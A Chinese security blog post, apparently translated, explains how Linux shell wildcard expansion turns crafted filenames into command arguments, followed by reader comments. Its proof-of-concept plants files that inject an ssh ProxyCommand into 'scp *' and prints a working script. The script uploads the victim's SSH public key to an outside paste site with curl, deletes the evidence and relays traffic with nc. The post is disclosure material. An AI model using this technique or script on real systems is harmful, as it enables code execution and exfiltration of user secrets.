Linux 通配符可能产生的问题


from:https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

0x00 通配符


当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。

0x01 文件名被当做参数


大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:

[stephen@superX foo]$ ls
asdf.txt  foobar  -l

如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:

[stephen@superX foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。

[stephen@superX foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。

此条命令相当于运行:

[stephen@superX foo]$ ls asdf.txt foobar -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar  

0x02 安全问题


此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。

这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。

0x03 Proof of Concept Exploit


为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。

假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):

$ scp * user@example.org:/var/www/

为了利用这个命令,在目录下我们需要放几个文件:

"-o" - SCP 将会把这个文件当做 "-o” 参数。
"ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。
"supercool.sh" - 这个脚本将会被执行。
"zzz.txt" - 没有任何用处的测试文件。

在supercool.sh文件里,有一些恶意的命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#!/bin/sh

# Upload their SSH public key to the Internet, and put a scary message in /tmp/.
echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
        -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
        https://defuse.ca/bin/add.php -D - |                                \
        grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt

# Delete evidence of our attack.
rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
echo > ./supercool.sh

# Do what ProxyCommand is supposed to do.
nc -p 22332 -w 5 $1 $2

当受害者执行命令时:

$ scp * user@example.org:/var/www/
supercool.sh
zzz.txt

当他检查自己的/tmp目录下的时候将会看到:

$ cat /tmp/you-have-been-hacked.txt
By @DefuseSec and @redragonx...
This could have been your private key...
https://defuse.ca/b/QQ3nxADu 

可以在这里下载完整的poc文件:poc.zip

评论

瞌睡龙 2014-06-24 17:41:02

一个蛮有意思的点,攻击场景你能想到哪些?

mramydnei 2014-06-24 19:22:26

很有意思~ 不过更像是个backdoor
第一感觉耍起来是不是得和.bash_history多挂点钩
观察用户习惯又或者篡改什么的(喜欢up up 回车的,估计得躺枪) 不过感觉这么利用还是没到点子上
楼下怎么看?

动后河 2014-06-25 01:26:31

恶意脚本可以用来偷scp密码!

路人甲 2014-06-25 11:27:30

并非这么简单,在Linux中,并非只有*,~-`都可以,这个甚至是不确定的,有的语言中可以作为声明,这个时候就悲剧了

白非白 2014-07-01 09:19:10

更多内容,请移步http://www.exploit-db.com/papers/33930

路人甲 2014-07-17 17:37:03

这样执行呢 scp -- * [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:/var/www/
我是路人甲,不知道scp怎么用

X

xiaohuli的小螃蟹

爱小狐狸的小螃蟹

twitter weibo github wechat

随机分类

事件分析 文章:223 篇
浏览器安全 文章:36 篇
APT 文章:6 篇
渗透测试 文章:154 篇
Ruby安全 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录